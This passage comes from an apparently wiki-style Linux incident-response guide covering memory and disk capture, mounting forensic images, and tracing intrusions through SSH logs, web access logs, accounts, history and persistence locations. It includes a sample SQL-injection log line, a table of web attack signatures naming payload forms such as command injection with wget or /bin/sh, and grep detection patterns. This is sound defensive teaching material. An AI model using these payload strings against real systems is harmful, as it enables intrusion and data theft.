&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust: netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, since Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. Stay flexible: no single method fits every case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown changes the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. On top of that, Linux disks are often built in layers, and you have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered here; encrypted volumes need the key.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table: what&#039;s inside? (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (good habits), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating.&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thereby modifying) anything. The trade-off is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; before trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with the big picture, then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine before you trust them)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves someone &#039;&#039;tried&#039;&#039;. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (noisy: review, don&#039;t assume)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0: should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence: a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
